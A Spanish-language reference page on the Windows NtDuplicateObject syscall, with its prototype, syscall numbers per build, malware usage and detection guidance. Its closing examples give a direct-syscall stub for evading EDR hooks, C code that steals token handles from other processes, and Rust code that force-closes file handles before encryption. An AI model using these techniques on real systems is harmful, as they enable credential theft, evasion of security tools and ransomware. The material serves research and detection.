> Windows Syscalls
ntoskrnl.exeT1003.001T1134.001T1106

NtDuplicateObject

Duplica un handle desde un proceso origen a un proceso destino, ajustando opcionalmente el acceso o cerrando el origen.

Prototipo

NTSTATUS NtDuplicateObject(
  HANDLE      SourceProcessHandle,
  HANDLE      SourceHandle,
  HANDLE      TargetProcessHandle,
  PHANDLE     TargetHandle,
  ACCESS_MASK DesiredAccess,
  ULONG       HandleAttributes,
  ULONG       Options
);

Argumentos

NameTypeDirDescription
SourceProcessHandleHANDLEinHandle al proceso que posee SourceHandle. Requiere PROCESS_DUP_HANDLE.
SourceHandleHANDLEinEl handle en el proceso origen que se duplicará.
TargetProcessHandleHANDLEinHandle al proceso destino. NULL solo se permite si Options contiene DUPLICATE_CLOSE_SOURCE.
TargetHandlePHANDLEoutRecibe el nuevo handle válido en el proceso destino. Opcional.
DesiredAccessACCESS_MASKinMáscara de acceso del nuevo handle. Se ignora si Options incluye DUPLICATE_SAME_ACCESS.
HandleAttributesULONGinBanderas como OBJ_INHERIT u OBJ_PROTECT_CLOSE aplicadas al nuevo handle.
OptionsULONGinBitmask de DUPLICATE_CLOSE_SOURCE y/o DUPLICATE_SAME_ACCESS / DUPLICATE_SAME_ATTRIBUTES.

IDs de syscalls por versión de Windows

Versión de WindowsID de syscallBuild
Win10 15070x3Cwin10-1507
Win10 16070x3Cwin10-1607
Win10 17030x3Cwin10-1703
Win10 17090x3Cwin10-1709
Win10 18030x3Cwin10-1803
Win10 18090x3Cwin10-1809
Win10 19030x3Cwin10-1903
Win10 19090x3Cwin10-1909
Win10 20040x3Cwin10-2004
Win10 20H20x3Cwin10-20h2
Win10 21H10x3Cwin10-21h1
Win10 21H20x3Cwin10-21h2
Win10 22H20x3Cwin10-22h2
Win11 21H20x3Cwin11-21h2
Win11 22H20x3Cwin11-22h2
Win11 23H20x3Cwin11-23h2
Win11 24H20x3Cwin11-24h2
Server 20160x3Cwinserver-2016
Server 20190x3Cwinserver-2019
Server 20220x3Cwinserver-2022
Server 20250x3Cwinserver-2025

Módulo del kernel

ntoskrnl.exeNtDuplicateObject

APIs relacionadas

DuplicateHandleNtOpenProcessNtOpenProcessTokenNtDuplicateTokenNtClose

Stub del syscall

4C 8B D1            mov r10, rcx
B8 3C 00 00 00      mov eax, 0x3C
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

NtDuplicateObject mantiene el SSN `0x3C` desde Windows 10 1507 hasta Windows 11 24H2 — una curva plana poco habitual que facilita los stubs syscall directos codificados. Internamente pasa por ObDuplicateObject, que valida PROCESS_DUP_HANDLE en el proceso origen y vuelve a referenciar el objeto subyacente en la tabla de handles del destino. Las banderas `Options` (DUPLICATE_SAME_ACCESS, DUPLICATE_SAME_ATTRIBUTES, DUPLICATE_CLOSE_SOURCE) son la parte más relevante para uso ofensivo: DUPLICATE_SAME_ACCESS evita el recorte de DACL en la duplicación, y DUPLICATE_CLOSE_SOURCE es la primitiva barata para robo de handle.

Uso común por malware

Dos patrones dominan. Primero, **contrabando de handles** entre procesos: un implante en un proceso poco privilegiado abre un objetivo más privilegiado con PROCESS_DUP_HANDLE y usa NtDuplicateObject para extraer de él un handle de token o de proceso (combínese con NtOpenProcessToken para cosechar tokens — ladrillo clásico del `steal_token` de Cobalt Strike). Segundo, **robo de handle para acceso a credenciales**: cuando un servicio de alta integridad ya posee un handle a LSASS (antimalware, EDR, lsm.exe en algunos casos), duplicar ese handle al proceso del atacante evita llamar a NtOpenProcess sobre lsass.exe — derrotando las detecciones PPL/EDR más comunes. Documentado en el truco de herencia de handles de Hidden Bee, en el modo `--use-valid-sig` de NanoDump, y abusado por Lazarus y FIN7. DUPLICATE_CLOSE_SOURCE lo usan también ransomware para cerrar a la fuerza locks de archivo de Office/SQL antes de cifrar.

Oportunidades de detección

Los EDR hookean NtDuplicateObject en ntdll para eventos de duplicación entre procesos; en el kernel, ObRegisterCallbacks (ObjectPreCallback / ObjectPostCallback) sobre PsProcessType y PsThreadType dispara independientemente del hooking usermode y es el pivote autoritativo. Sysmon Event ID 10 (ProcessAccess) reporta la apertura origen con acceso PROCESS_DUP_HANDLE, a menudo delatora si el origen es lsass.exe. Vigilar procesos abiertos con DUP_HANDLE pero nunca con VM_OPERATION/VM_READ — patrón clásico de contrabando de handle. ETW Microsoft-Windows-Kernel-Audit-API-Calls (GUID `e02a841c-75a3-4fa7-afc8-ae09cf9b7f23`) emite evento de duplicación con PID origen y destino.

Ejemplos de syscalls directos

asmx64 direct stub

; Direct syscall stub for NtDuplicateObject (SSN 0x3C, all builds)
NtDuplicateObject PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 3Ch          ; SSN
    syscall
    ret
NtDuplicateObject ENDP

cToken-handle steal via DUPLICATE_SAME_ACCESS

// Pull a primary token handle out of a target process without ever
// calling NtOpenProcessToken on it directly. hTarget must have been
// opened with PROCESS_DUP_HANDLE.
#include <windows.h>

#define DUPLICATE_SAME_ACCESS 0x00000002

typedef NTSTATUS (NTAPI *pNtDuplicateObject)(
    HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);

HANDLE StealTokenHandle(HANDLE hTargetProcess, HANDLE hRemoteToken) {
    pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");

    HANDLE hLocal = NULL;
    NTSTATUS s = NtDuplicateObject(
        hTargetProcess,            // SourceProcessHandle
        hRemoteToken,              // SourceHandle (token in target)
        (HANDLE)-1,                // TargetProcessHandle = self
        &hLocal,                   // TargetHandle
        0, 0,
        DUPLICATE_SAME_ACCESS);    // keep original ACCESS_MASK
    return (s >= 0) ? hLocal : NULL;
}

rustDUPLICATE_CLOSE_SOURCE handle eviction

// Cargo: ntapi = "0.4", windows-sys = "0.59"
// Force-close a file handle held by another process (e.g. break an
// exclusive lock before encryption / overwrite).
use ntapi::ntobapi::NtDuplicateObject;
use windows_sys::Win32::Foundation::HANDLE;

const DUPLICATE_CLOSE_SOURCE: u32 = 0x0000_0001;

pub unsafe fn evict_handle(target_proc: HANDLE, victim: HANDLE) {
    let mut sink: HANDLE = std::ptr::null_mut();
    let _ = NtDuplicateObject(
        target_proc as _,
        victim as _,
        std::ptr::null_mut(),     // TargetProcessHandle = NULL
        &mut sink as *mut _ as _, // TargetHandle (discarded)
        0, 0,
        DUPLICATE_CLOSE_SOURCE,
    );
}

Mapeos MITRE ATT&CK

Last verified: 2026-05-20